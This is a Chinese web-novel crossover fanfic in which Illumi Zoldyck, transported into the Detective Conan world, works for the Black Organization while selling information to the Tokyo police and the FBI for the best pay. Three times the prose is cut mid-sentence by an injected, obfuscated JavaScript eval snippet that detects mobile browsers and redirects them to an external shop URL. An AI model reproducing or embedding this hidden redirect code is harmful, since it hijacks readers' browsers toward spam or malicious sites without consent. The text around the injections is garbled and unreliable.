《揍敌客的酒厂生存之道》 1. 第 1 章 伊尔迷·揍敌客睁开眼的时候,入目是一片惨白的天花板。 消毒水的味道钻进鼻腔,耳边是仪器规律的滴答声。他偏过头,看见床头柜上摆着一份病历,患者姓名一栏写着三个陌生的汉字:黑泽空。 然后他就接收了原主的记忆。 ——跨国犯罪组织“黑衣组织”的基层成员,代号候选,因任务受伤住院。父母双亡,无亲友,社会关系简单得就像一张白纸。 伊尔迷眨眨眼。 他刚刚明明还在揍敌客家里和奇犽玩你追我赶的兄弟游戏——奇犽跑,他追,奇犽插翅难飞——怎么一眨眼就到这种地方来了? 病房里很安静。阳光从窗帘缝隙里漏进来,在地板上拉出一道细长的光斑。伊尔迷盯着那道阳光看了一会儿。在枯枯戮山,阳光是稀罕物件,天空永远是灰蒙蒙的。小时候他问过基裘,为什么家里永远这么暗。基裘说,因为揍敌客是杀手家族,不需要阳光。 但这里有阳光。 还挺亮。 他的视线从阳光移到床头柜的小镜子上——那是护士留下的,大概是给病人整理仪容用的。伊尔迷伸手拿过来,随意地照了一下。 然后他停住了。 镜子里是一张他再熟悉不过的脸——乌黑的长发,幽深的猫眼,苍白到几乎透明的皮肤。和他每天早上在揍敌客家镜子里看见的那张脸一模一样。 伊尔迷盯着镜子看了三秒。 他又捏了捏自己的脸。 疼。 不是幻觉。 他把镜子放下,又拿起来,再照了一次。 还是那张脸。 有意思。 他以为穿越这种事儿,怎么也得换个长相意思意思。结果对方直接把他整个人打包送过来了,连皮肤状态都没改。 伊尔迷把镜子放回床头柜。 算了,省得重新适应。 病房门被推开。 一个穿黑色风衣的银发男人走进来,长发遮住半边脸,帽檐压得很低,整个人散发着“生人勿近”的气场。他身后还跟着一个戴墨镜的壮汉。 Gin。组织核心成员,代号琴酒。心狠手辣,杀人不眨眼。 原主记忆里的印象就这么几个词。伊尔迷在脑海里过了一遍,觉得这个描述有点笼统——按这个标准,揍敌客全家上下都是心狠手辣杀人不眨眼,连女佣都是。 “恢复得怎么样?”Gin开口,声音冷得像淬了冰。 伊尔迷看着他,没说话。 Gin也在看他。 病房里安静了三秒。 Gin又等了两秒。 还是没有声音。 他身后的伏特加悄悄咽了口唾沫。他在组织这么多年,还没见过谁敢在Gin面前这么沉默。就算是不怕死的,至少也会挤出几个字。 “恢复得怎么样。”Gin重复了一遍,语气比刚才更平了一点。 “嗯。”伊尔迷应了一声。 Gin的眉梢动了一下——幅度很小,小到伏特加都没注意到,但伊尔迷看见了。 “就‘嗯’?” “嗯。” Gin盯着他看了五秒。 这五秒里,伏特加的额头开始冒汗。他在心里疯狂祈祷:千万别出事,千万别出事,我还没买那份意外险—— “下周二,目标是一个议员。”Gin把手从风衣内侧抽出来,将一份资料扔到病床上,“伏特加会来接你。” 说完转身就走。 伏特加小跑着跟上去,走到门口忍不住回头看了一眼。床上那个人正垂着眼看那份文件,乌黑的长发披散在枕头上,脸上什么表情都没有——不是恭敬,不是畏惧,也不是挑衅,就只是……没有表情。 伏特加打了个寒颤,赶紧收回视线。 门关上了。 伊尔迷翻开资料,扫了一眼目标信息。 姓名:野村建一。年龄:五十三岁。职业:众议院议员。住址:港区某高级公寓。安保配置:私人保镖四人,轮班制;公寓大堂二十四小时保安;目标本人随身携带防弹公文包。 伊尔迷把资料合上,随手扔到一边。 这种级别的安保,连奇犽小时候练手的难度都比不上。他记得奇犽七岁那年,接的第一个单人任务,目标是某小国的政要,身边围了二十多个保镖,还有三条训练有素的警犬。奇犽回来的时候抱怨说“太简单了,没意思”。 这个议员才四个保镖。 伊尔迷躺回床上,望着天花板,开始认真思考一个问题。 这个世界的犯罪组织,是不是有点太菜了? 三天后。 深夜十一点五十分,港区某高级公寓。 伊尔迷站在三十七层的阳台外,手指扣着不足一厘米宽的墙缝。夜风吹起他的长发,在身后猎猎作响。从这里往下看,地面的车流像一条发光的河,缓慢地流淌。 他透过窗帘缝隙看了一眼室内。 目标议员野村建一正坐在沙发上,和一个穿红裙子的女人调情。窗帘只拉了一半,露出一道三十厘米左右的缝隙。 够用了。 他松开手。 身体开始自由落体。 下坠到目标楼层时,他单手撑了一下窗框,卸掉下坠的力道,整个人轻巧地翻进阳台,落地无声。 整个过程不到三秒。 房间里,野村建一刚刚端起酒杯,还没送到嘴边,就觉得后颈一凉。 他低头,看见一只手正搭在自己的脖子上。那只手很白,手指修长,指甲修剪得整整齐齐。看起来像钢琴家的手,或者医生的手。 但搭在他脖子上的力道,让他一动都不敢动。 “别动。”身后传来一个没什么起伏的声音,“让你身边那位女士睡一会儿。” 野村还没反应过来,身边的女人已经软软地倒在了沙发上。他甚至没看见对方是怎么动的手。 “你、你是那个组织的人?” 伊尔迷绕到他面前,歪着头打量他。 近距离看,这个议员比照片上还要油腻一些。脸上有酒槽鼻,眼角有好几道皱纹,发际线也后退得厉害。 “安保公司花了多少钱雇的保镖?”伊尔迷问。 野村愣了一下:“…什么?” “楼下大堂四个,电梯口两个,这层走廊三个,隔壁房间还藏了两个。”伊尔迷说,“配置不错,应该不便宜。” 野村的冷汗瞬间下来了。 他知道这些人都在哪,知道人数,甚至还知道隔壁藏了人——这说明什么?说明他早就把这栋楼摸透了!自己在这里住了三年,都不知道隔壁有保镖! “你、你要多少钱?”他连忙说,“我可以给你双倍!三倍也行!” 伊尔迷眨了眨眼。 双倍。三倍。 他想起揍敌客的规矩:接下单就必须完成,中途反悔或者被收买,后果很严重。 但这里不是揍敌客。 这里没有席巴,没有基裘,没有那条“接了就不能改”的家规。 这里只有他一个人。 “双倍是多少?”他问。 野村以为有戏,连忙报了个数字。 伊尔迷听完,内心毫无波动。 这点钱,也就够奇犽买两箱巧克力球的。 “太少了。”他说。 然后他抬手。 野村的瞳孔骤然收缩。他想喊,想跑,但身体完全不听使唤。 然后他就什么都不知道了。 三秒后,野村建一倒在沙发上,和那个女人并排躺在一起,姿势安详得像是睡着了。胸口还有起伏,呼吸平稳,只是醒不过来。 伊尔迷从阳台离开的时候,顺手帮他们把窗帘拉严实了。 任务完成。 第二天下午,伊尔迷收到一条消息。 Gin:做得不错。 他看着那三个字,回了一个“嗯”。 然后他放下手机,开始想另一件事。 原主的记忆里,Gin这个人话少、冷、杀人不眨眼。但这两次接触下来,他发现Gin其实没那么复杂。 指令清晰,不废话,按绩效发钱。 这不就是个正常的管理层吗? 伊尔迷想起揍敌客家的各种规矩,想起席巴那张永远板着的脸,想起基裘动不动就尖叫的习惯,想起糜稽那满屋子的手办和奇犽三天不打就上房揭瓦的日常。 他忽然觉得,这个世界好像也没那么陌生。 至少老板是个正常人。 不对,等等。 他想起一件事——原主记忆里,Gin对叛徒的态度是零容忍,抓到就是一颗子弹。 那还是有点不正常的。 不过无所谓,他又不打算叛。 至少现在不打算。 两周后。 伊尔迷正在公寓里用念能力练扎钉子——这个世界的武力值实在太低,他怕自己长时间不动手,手艺会生疏。细如发丝的念线从指尖延伸出来,在空中交织成各种形状,然后精准地刺入墙上的靶心。 门铃响了。 他从猫眼往外看了一眼。 门外站着一个戴帽子的中年男人,西装革履,体型微胖,长相普通。但伊尔迷一眼就看出他不是普通人。 普通人不会把枪藏在腋下。普通人不会在按门铃的时候下意识观察楼层消防通道的位置。普通人不会站得那么稳,像一棵扎了根的树。 他打开门。 “你好,我是警视厅搜查一课的目暮十三。”中年男人亮出证件,“可以进去谈谈吗?” 伊尔迷侧身让开。 目暮警官走进来,在沙发上坐下。他环顾了一下这间公寓——简单,整洁,没什么多余的东西。茶几上放着一个玻璃罐,里面叠满了千纸鹤。 “你叠的?”他问。 “嗯。” “叠得挺好。” “嗯。” 目暮沉默了两秒。 他干警察这么多年,见过形形色色的线人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387946|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的紧张,有的害怕,有的满嘴跑火车,有的一上来就谈条件。但像眼前这个这样,对什么都只回一个“嗯”的,还真是头一回见。 算了,直接说正事。 “我知道你是那个组织的人。”他开门见山。 伊尔迷没说话。 “我也知道你在加入组织之前没有犯罪记录,是被胁迫加入的。”目暮从公文包里拿出一份文件,“如果你愿意配合警方,我们可以给你提供保护,并且——” 他把文件推过来。 伊尔迷低头看了一眼。 那是一份转账协议,金额后面跟着一串让他有点兴趣的数字。 “这是?” “证人保护计划的启动资金。”目暮说,“只要你愿意做我们的线人,以后每个月还有固定收入。当然,前提是你提供的情报有价值。” 伊尔迷沉默了三秒。 他在心里快速换算。 组织一次任务的奖金:约等于一辆中档车。 警方这个启动资金:约等于一辆高档车。 再加上每个月固定收入—— 他抬起头。 “需要我做什么?” 目暮愣了一下。 他本来准备了一肚子话——什么“我知道你心里有顾虑”,什么“警方会全力保护你的安全”,什么“你不用担心报复”——结果全没用上。 这人答应得也太痛快了。 “你、你同意了?” 伊尔迷点头。 目暮张了张嘴,想问为什么。但话到嘴边,他又咽了回去。 算了,原因不重要,结果好就行。 “那,合作愉快?”他试探性地伸出手。 伊尔迷看了那只手一眼,没动。 目暮讪讪地收回手:“咳,理解理解,不习惯是吧,没事没事。” 一小时后,目暮离开公寓,公文包里少了一份文件,多了一张签了字的协议。 伊尔迷站在窗前,看着警车驶出小区。 阳光从窗外照进来,在地板上拉出一道长长的光斑。和他刚醒来那天看见的光斑一样。 他忽然想起镜子里的那张脸。 巧合? 还是别的什么? 他掏出手机,给Gin发了一条例行的工作汇报。 发完之后,他看着屏幕上那个名字,停顿了一秒。 不好意思,Gin。 他们给的,确实多了一点。 他把手机收起来,走回茶几旁,拿起刚才没叠完的千纸鹤,继续编织。 阳光落在他手上,把苍白的皮肤照得几乎透明。 算了。 来都来了。 先把钱赚了再说。 三天后,伊尔迷去警视厅做第一次情报交接。 负责和他对接的是一个年轻的女警官,姓佐藤,看起来很干练。她递给伊尔迷一个手机。 “以后用这个联系,里面只有我们几个人的号码。有什么情报随时发消息,紧急情况直接打电话。” 伊尔迷接过手机,随手塞进口袋。 佐藤打量了他一眼,目光在他脸上停了一秒。那个停顿很短,但伊尔迷注意到了。 “怎么了?” “没什么。”佐藤收回视线,“就是……你长得挺好看的。” 伊尔迷想了想,没想出来这句话和情报交接有什么关系。 “哦。” 佐藤:“…” 她干刑警这么多年,见过形形色色的线人。有紧张的,有害怕的,有满嘴跑火车的,有上来就谈条件的。但像眼前这个这样,被人夸好看只回一个“哦”的,还真是头一回见。 “对了,”她拿出一份文件,“这是组织最近可能行动的名单,你看看有没有认识的。” 伊尔迷扫了一眼。 第一个名字就让他停住了视线。 Gin。琴酒。真名不详。组织核心成员,代号Gin。 下面附着一张模糊的照片,是偷拍的侧脸。 伊尔迷盯着那张照片看了两秒。 “这个人,”他指着照片,“你们有悬赏吗?” 佐藤愣了一下:“什么?” “悬赏。”伊尔迷重复了一遍,“就是抓到他给多少钱。” 佐藤的嘴角抽了抽:“这,这是警视厅,不是什么赏金猎人组织…” “所以没有?” “没有。” 伊尔迷略显遗憾地收回视线。 太可惜了。 他刚才认真想了一下,如果把Gin打包卖给警视厅,能换多少钱。 现在看来,这条路走不通。 那就只能老老实实当线人了。 他把名单折好收起来,站起来准备离开。走到门口时,他忽然回头。 “对了,问一下,你们这边——介绍新人有没有提成?” 佐藤:“…” 她忽然有点理解目暮警官回来之后那个一言难尽的表情了。 2. 第 2 章 伊尔迷开始在红与黑之间反复横跳。 说是反复横跳,其实对他来说根本算不上选择——哪边给得多,他就是哪边的人。 非常简单明了的商业逻辑。 组织这边,他的业务能力得到了广泛认可。杀人干脆利落,从不废话,任务完成率百分之百,还不像其他成员那样喜欢问东问西。 有一次,基安蒂在执行任务前问了他一堆问题——“你打算怎么进去?”“需要我支援吗?”“目标身边有几个人?”——他回了两个字:“不用。” 后来任务顺利完成,基安蒂看他的眼神变得有点复杂。 科恩私下跟基安蒂说:“那人是不是社恐?” 基安蒂想了想:“我觉得不是社恐,是懒得理我们。” 科恩:“有什么区别吗?” 基安蒂:“区别在于,社恐是不敢理我们,他是觉得我们不值得理。” 科恩沉默了一会儿,觉得有道理。 Gin对伊尔迷的态度倒是没什么变化。指令照发,任务照派,偶尔加一句“做得不错”。伊尔迷每次都回一个“嗯”,Gin也不介意,下次接着发。 伊尔迷觉得这种上下级关系很理想。 直到某天,Gin发来一条消息。 “从今天起,你就是Rum。” 伊尔迷看着屏幕,没回复。 Rum。 他记得这个代号——组织二把手,地位仅次于那位先生。 就因为他这两个月杀了十几个人,炸了两个仓库,顺便帮Gin挡了一次偷袭? 他回想了一下这些日子的工作量。 放在揍敌客,这点业绩连年终总结都写不满一页。 他回了一个“好”。 然后切出界面,给佐藤发消息:我拿到代号了,Rum。 佐藤秒回:什么???这么快?! 伊尔迷:有问题? 佐藤:你知道Rum是什么级别吗?二把手!组织二号人物! 伊尔迷看着这条消息,沉默了两秒。 二号人物。 就这? 他对这个世界的犯罪组织有了新的认识。 不过无所谓。 升职加薪就行。 警视厅这边,他的线人费每个月准时到账,从不拖欠。佐藤偶尔会给他带点小零食,说是“辛苦费”。伊尔迷对这种小恩小惠没什么感觉,但他发现这个世界的警察似乎都不太富裕。 有一次他在警视厅门口碰见目暮警官。目暮正站在自己的私家车旁边打电话,语气卑微:“老婆,这个月工资还没发,能不能先借我点…” 伊尔迷看了一眼那辆车——款式老旧,漆面斑驳,比揍敌客家的佣人车还要旧。 他又想起佐藤加班时吃的便利店饭团,还有那个据说工资全交老婆、零花钱只够买烟的倒霉前辈。 看来红方这边,确实不宽裕。 所以他也没指望能从警方这边拿到什么大钱。 直到某天。 伊尔迷正在公寓里用念线叠千纸鹤——这是他最近开发的新爱好,主要是为了练习念能力的精细控制——手机响了。 是Gin发来的消息:年终奖已发放,查收。 伊尔迷打开银行APP。 然后他的动作停住了。 账户余额那一栏,多出了一串数字。 他数了一遍。 又数了一遍。 七位数。 税前。 伊尔迷盯着那串数字看了很久。 他想起警视厅每个月准时到账的线人费——五位数,含税。 他还想起目暮警官那辆破旧的家用车,佐藤警官加班时吃的便利店饭团,以及那个据说工资全交老婆的倒霉前辈。 然后他低头,又看了一眼自己的银行余额。 七位数。 是线人费的…二十倍。 伊尔迷放下手机,陷入了长久的沉思。 当天晚上,佐藤收到一条消息:问一下,警方这边有没有年终奖? 佐藤:???什么年终奖? 伊尔迷:就是年底多发一笔钱那种。 佐藤:……我们是公务员,只有十三薪。 伊尔迷:十三薪是多少? 佐藤报了一个数字。 伊尔迷沉默了很久。 那个数字,连Gin发的年终奖的零头都不到。 佐藤:你怎么突然问这个? 佐藤:等等,该不会是组织给你发年终奖了吧? 佐藤:发了多少? 伊尔迷没有回复。 他放下手机,继续盯着天花板思考人生。 组织这边,年终奖七位数。 警方这边,年终奖——严格来说警方没有年终奖,只有十三薪——十三薪只有五位数,还是税前。 这就是红与黑的差距吗? 还是说,只是因为Gin比较大方? 伊尔迷决定试探一下。 第二天,他给Gin发消息:今年的奖金,比预期高。 Gin回复:你的任务完成度最高。 伊尔迷:其他人呢? Gin:基安蒂一半,科恩六成,卡尔瓦多斯没完成核心指标,全额扣除。 伊尔迷看着这条消息,若有所思。 原来如此。 Gin这边是按绩效发钱的。 他又想起在揍敌客的时候,席巴发零用钱也是看表现。奇犽因为老偷跑出去,零用钱被扣了三个月;糜稽因为沉迷手办耽误训练,也被扣过;柯特表现好,零用钱从来没少过。 这个模式他熟。 他打开手机计算器,开始认真计算:如果明年他再接双倍的任务,完成度保持百分之百,那么年终奖应该能翻一番。 如果后年再接三倍的任务—— 等等。 他忽然想起一件事。 他现在是警方的线人。 线人费每个月照常发,年终没有额外收入。 但如果他同时拿组织的年终奖—— 伊尔迷的手指停在计算器上。 这好像,也不是不行。 红方发工资,黑方发奖金。 双份收入,双倍快乐。 唯一的风险是,如果被任何一方发现他同时在给另一边打工,可能会有点麻烦。 但伊尔迷觉得这个风险可以承受。 毕竟他可是揍敌客家的长子。 被发现又怎么样? 大不了把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387947|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两边都杀了。 当然,杀了之后就没有稳定收入了。 所以他决定还是低调一点。 几天后,伊尔迷照常去和佐藤做情报交接。 交接结束,佐藤忽然叫住他。 “对了,有件事想问你。” 伊尔迷回头。 “你…是不是在考虑跳槽?”佐藤的表情有点复杂,“就是跳到黑方那边去?” 伊尔迷愣了一下:“为什么这么问?” “因为你上次问年终奖。”佐藤说,“组织那边是不是发了很多?” 伊尔迷沉默。 佐藤叹了口气:“我就知道。” 她从包里拿出一份文件。 “这是警视厅新出的政策——针对高危线人的专项补贴。”她把文件递给伊尔迷,“你这种情况,每个月可以多拿一笔。” 伊尔迷接过文件,扫了一眼。 补贴金额—— 他抬眼看向佐藤。 “这是,涨薪?” “算是吧。”佐藤有点不好意思,“我们之前确实没考虑到市场竞争的问题,后来开会讨论了一下,觉得像你这种级别的线人,应该…” “涨多少?”伊尔迷打断她。 佐藤报了一个数字。 伊尔迷在心里快速计算。 加上这笔补贴,警方的月收入大概能涨到组织年终奖的—— 二十分之一。 还是差很多。 但他没说出口。 他只是把文件折好收起来,对佐藤点了点头。 “知道了。谢谢。” 回去的路上,伊尔迷一直在想一个问题。 红方好像意识到自己给得太少了。 但他们能给的,好像也就这么多。 不是不想给,是真的没钱。 而黑方这边—— 他看了一眼手机,Gin刚刚发来新任务,附带一句“完成后有额外奖励”。 伊尔迷忽然觉得,这个世界其实很简单。 有钱的,就是好老板。 没钱的,勉强也算是个老板。 至于立场? 那不是他需要考虑的问题。 他就是个打工人。 谁给得多,就给谁干。 仅此而已。 晚上回到公寓,伊尔迷照例坐在茶几前叠小动物。千纸鹤已经叠满两个玻璃罐了,他开始挑战更复杂的造型——小兔子,小猫咪,还有一只歪着脑袋的小狗。 叠着叠着,他忽然想起一件事。 今天在警视厅走廊里,他路过一面镜子,又看了一眼自己的脸。 还是那张脸。 和猎人世界一模一样。 他想起今天佐藤看他时那个短暂的停顿。那个眼神他见过——在猎人世界出任务的时候,偶尔也会遇到。糜稽说那是因为他长得像妈妈,基裘当年也是这种走到哪里都有人盯着看的长相。 但问题是,这个世界的人应该没见过基裘。 那为什么还是有人盯着他看? 巧合? 还是别的什么? 他想了想,没想通。 算了。 反正不影响拿钱。 他继续叠小兔子。 3. 第 3 章 伊尔迷反复横跳却意外还算顺利的平静生活,在某个周三的下午被打破了。 那天他刚完成一个任务,正坐在咖啡厅里吃小蛋糕——他发现这个世界的小蛋糕很好吃,尤其是草莓味的——手机突然响了。 不是Gin发来的工作消息,也不是佐藤的例行问候。 是一个陌生号码。 伊尔迷接起来。 “是黑泽君吗?”对面是一个陌生的男声,听起来很温和,“我是工藤优作,有些事情想和您谈谈。” 伊尔迷想了想,没想起来这个名字是谁。 “什么事?” “关于您现在的工作。”对面的声音带着笑意,“不知道您现在方不方便见面?” 伊尔迷沉默了两秒。 “可以。” 他报了个地址,挂断电话。 工藤优作。 他拿出手机搜了一下。 搜索结果让他挑了挑眉。 知名推理小说家,定居美国,妻子是著名女演员,儿子是高中生侦探——等等,高中生侦探? 他点开那张照片,看了两秒。 那个叫工藤新一的高中生侦探,长得和之前新闻里那个“失踪的高中生”一模一样。 失踪后又出现,还改了个名字叫江户川柯南? 伊尔迷放下手机,把最后一口小蛋糕吃完。 这个世界,好像比他想象的要有趣一点。 一小时后,工藤优作坐在伊尔迷对面,点了杯咖啡。 这是个看起来很有书卷气的中年男人,戴着眼镜,说话慢条斯理,笑起来很温和。但伊尔迷注意到,他的眼神很锐利,打量人的时候会不动声色地观察每一个细节。 “长话短说。”工藤优作开门见山,“我知道你是组织的成员,也知道你在帮警方做事。” 伊尔迷没说话。 “我还知道,”工藤优作继续说,“组织那边给你的待遇比警方好得多。” 伊尔迷终于有了一点兴趣。 “所以?” “所以我想代表FBI和你谈谈。”工藤优作笑了笑,“我们的预算,比警视厅宽裕一点。” 他拿出一个信封,推到伊尔迷面前。 “这是初步报价。” 伊尔迷打开信封,扫了一眼里面的数字。 然后他抬起眼,看向工藤优作。 那个眼神,和刚才看小蛋糕的时候一模一样。 “这个数字,”他说,“是认真的?” “认真的。”工藤优作说,“如果你能提供核心情报,或者协助抓捕核心成员,还有额外奖金。” 伊尔迷把信封收起来。 “我需要考虑一下。” “当然。”工藤优作站起来,“想好了随时联系我。” 他留下名片,转身离开。 伊尔迷坐在原位,盯着那张名片看了一会儿。 FBI的报价,是警视厅的十倍。 不对,算上各种补贴和奖金,可能还不止十倍。 也就是说,他现在有三个选项: A. 组织——黑方,年终奖七位数,平时工资中等,风险高。 B. 警视厅——红方,月薪五位数,十三薪,风险低但收入也低。 C. FBI——红方但有钱版,报价是B的十倍,风险未知。 他打开手机备忘录,开始列对比表格。 列到一半,他停下来。 等等。 如果FBI和警视厅是合作关系,那他是不是可以—— 同时拿两边的钱? 他给佐藤发消息:问一下,FBI在日本的行动,和警视厅是什么关系? 佐藤秒回:合作关系。 佐藤:怎么了? 佐藤:FBI找你了?! 伊尔迷没有回复。 他在思考一个问题。 理论上,只要他提供的情报足够多,足够有价值,两边应该都愿意给他发工资。 而且FBI的报价是警视厅的十倍,就算同时拿,也不会被发现—— 不,等等。 如果FBI和警视厅共享情报,那他们早晚会发现他在两边拿钱。 到时候可能会有麻烦。 但话又说回来—— 他可是揍敌客家的长子。 被发现又怎么样? 大不了—— 算了,这个思路不对。 他现在的目标是稳定收入,不是杀人灭口。 先观望一下。 第二天,他收到Gin的消息:有新任务,明天晚上,地点发你。 他回复:收到。 然后他给工藤优作发消息:有任务,明晚,具体地点稍后发你。 工藤优作秒回:收到。情报费按标准结算。 伊尔迷看着那条消息,心情不错。 一份任务,两份收入。 这才是正确的打开方式。 晚上,他正在公寓里用念线叠小动物——最近他的千纸鹤已经叠满了三个玻璃罐,开始挑战更复杂的造型——门铃响了。 他从猫眼往外看。 门外站着一个他不认识的人。 年轻男人,茶色头发,穿着黑色夹克,整个人透着一股“我很危险”的气场。 伊尔迷打开门。 “你好,我是赤井秀一。”年轻男人亮出证件,“FBI。” 伊尔迷侧身让开。 赤井秀一走进来,在沙发上坐下。他环顾了一下这间公寓——简单,整洁,茶几上放着三个玻璃罐,里面叠满了千纸鹤和小动物。 “你叠的?”他问。 “嗯。” “叠得挺好。” “嗯。” 赤井沉默了两秒。 这场面似曾相识。 他想起同事之前说的“那个人话很少”,当时没当回事,现在信了。 算了,直接说正事。 “工藤先生向我介绍了你的情况。”他开门见山。 伊尔迷点头。 “我想确认一件事。”赤井看着他,“你是不是同时在帮警视厅做事?” 伊尔迷沉默。 赤井继续说:“别误会,我们没有意见。实际上,警视厅那边已经和我们通过气了。” 伊尔迷挑了挑眉。 “所以?” “所以,”赤井拿出一个信封,“这是FBI的正式合同。签了之后,你就是我们的正式线人。” 伊尔迷接过信封,没有打开。 “警视厅那边呢?” “你可以继续帮他们。”赤井说,“只要不影响我们的任务。” 伊尔迷想了想。 “那如果两边的任务冲突了呢?” 赤井看着他,眼神里带着一丝审视。 “你觉得呢?” 伊尔迷和他对视了两秒。 “价高者得。” 赤井愣了一秒。 然后他笑出声来。 “有意思。”他站起来,“那就这么定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387948|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。价高者得。” 他走到门口,忽然回头。 “对了,提醒你一句——Gin最近在查内鬼,你自己小心点。” 门关上了。 伊尔迷坐在沙发上,看着手里的两份合同——一份是FBI的正式合同,一份是Gin刚发来的年终奖明细。 他忽然觉得,这个世界的打工人,好像也没有那么难做。 只要能力够强,就可以让老板们互相竞价。 至于最后选谁? 那当然是谁给得多选谁。 他打开手机备忘录,在对比表格最后加了一行字: 建议方案:全都要。 只要不被发现。 如果被发现—— 那就让发现的人闭嘴。 窗外的夜色渐深。伊尔迷拿起刚才没叠完的小兔子,继续用念线编织。 叠着叠着,他忽然想起一件事。 今天赤井秀一进门的时候,看他的眼神也有一个短暂的停顿。 和佐藤那天一样。 和便利店收银员那天一样。 和警视厅走廊里那个年轻警察一样。 伊尔迷放下小兔子,走到玄关的镜子前,盯着自己的脸看了一会儿。 还是那张脸。 和猎人世界一模一样。 如果说佐藤和收银员盯着他看,是因为这张脸本身。 那赤井秀一呢? FBI的人,会只因为一个人长得好看就多看两眼吗? 伊尔迷想起赤井那个眼神——不是欣赏,也不是惊艳,而是……审视。 像是在确认什么。 伊尔迷盯着镜子里的自己,慢慢皱起眉。 这个世界有他的脸,但没有他的名字。 有他的长相,但没有他的家人。 他像是被原封不动地塞进了另一个人的身体里,而那个人恰好长得和他一模一样。 但那个人是谁? 原主的记忆里没有关于长相的特殊信息。黑泽空就是一个普通人,普通地长大,普通地被组织招募,普通地做任务受伤。 一个普通人,会长得和揍敌客家的长子一模一样吗? 伊尔迷想了一会儿,没想通。 他走回茶几旁,继续叠小兔子。 算了。 来都来了。 总有一天会知道的。 手机屏幕亮了一下。 是Gin的消息:明天来一趟安全屋,有事当面说。 伊尔迷看着那条消息,眨了眨眼。 安全屋? Gin的安全屋? 他想起组织里的传言:Gin从来不让任何人进他的安全屋,连伏特加都不行。 他回了一个“好”。 然后把手机放下,继续叠小兔子。 叠完最后一只耳朵,他把小兔子放进玻璃罐里,和之前的千纸鹤、小猫咪排在一起。他以前最讨厌好友西索奇奇怪怪的癖好,可现在,孤身一人在这新世界的他,竟也隐隐有这样的趋势。 罐子已经快满了。 他看了一眼时间——晚上十一点半。 明天再说。 他打了个哈欠,关灯睡觉。 黑暗中,他忽然又想起镜子里的那张脸。 巧合? 还是别的什么? 算了。伊尔迷不愿过多思考此刻对他来说无关紧要的事情。 先把钱赚了再说。 他翻了个身,闭上眼睛。 窗外,夜色深沉。 4. 第 4 章 伊尔迷对安全屋的印象,停留在揍敌客家族的应急据点——深山老林里的石头房子,里面堆满武器和干粮,一年用不上一次。 Gin的安全屋显然不是这个画风。 公寓坐落在杯户町一栋不起眼的住宅楼里,外观和周围的民宅没什么区别。伊尔迷站在门前,注意到门锁是电子密码锁,型号比他公寓用的那种贵了三倍不止。 他按了门铃。 门开了。 Gin站在玄关,穿着一件深色的居家服,银发松散地披在肩上,没有戴帽子。这是他第一次看见Gin不戴帽子的样子——意外地……正常。就像普通人在家会穿拖鞋一样,Gin在家也不戴帽子。 “进来。”Gin侧身让开。 伊尔迷走进去,视线不动声色地扫过整个空间。 客厅不大,布置简洁到近乎寡淡。一张灰色沙发,一张玻璃茶几,一台电视,几盆绿植。没有照片,没有装饰画,没有任何多余的个人物品。茶几上放着两杯咖啡,还在冒热气。 “坐。”Gin在沙发上坐下,指了指对面的位置。 伊尔迷坐下,拿起咖啡喝了一口。温度刚好,浓度刚好,糖和奶的比例也刚好。 “你煮的?”他问。 Gin看了他一眼:“嗯。” 伊尔迷:“挺好喝的。” “嗯。” 两人同时沉默。 客厅里安静了大概十秒。伊尔迷低头喝咖啡,Gin翻桌上的文件。这个沉默一点都不尴尬——对伊尔迷来说,沉默就是沉默,不存在尴尬这个选项。对Gin来说,他似乎也觉得没必要硬找话题。 又过了十秒。 Gin把文件推到伊尔迷面前。 “明年的任务规划。你看看。” 伊尔迷接过来,翻开第一页。 然后他翻到第二页。 第三页。 第四页。 他抬起头。 “这些全是给我的?” “嗯。” 伊尔迷低头,又看了一遍。 组织的任务规划写得很详细——目标信息、时间节点、预期结果、风险评估,每一条都列得清清楚楚。和揍敌客家的任务简报相比,少了些血腥味,多了些表格和KPI。 他粗略数了一下。全年的任务量,大概是今年的三倍。 “你确定我接得了这么多?” Gin端起咖啡,语气平淡:“你今年的任务完成率是百分之百,平均用时比预期短百分之四十。按这个效率,三倍没有问题。” 伊尔迷想了想,觉得这个分析有道理。 “奖金呢?” Gin看了他一眼,嘴角似乎动了一下——幅度很小,小到伊尔迷不确定自己有没有看错。 “按绩效算。” 伊尔迷点头,把文件合上。 “行。” Gin似乎对他的爽快感到意外。他放下咖啡杯,身体微微后仰,靠在沙发背上。 “你不问问为什么要给你加这么多?” 伊尔迷想了想。 “因为其他人不行?” Gin沉默了一秒。 “……你很直接。” “事实就是事实。”伊尔迷说。 Gin看着他,目光里有一种难以辨认的情绪。不是欣赏,也不是不满,更像是一种审视——像是在重新评估眼前这个人的价值。 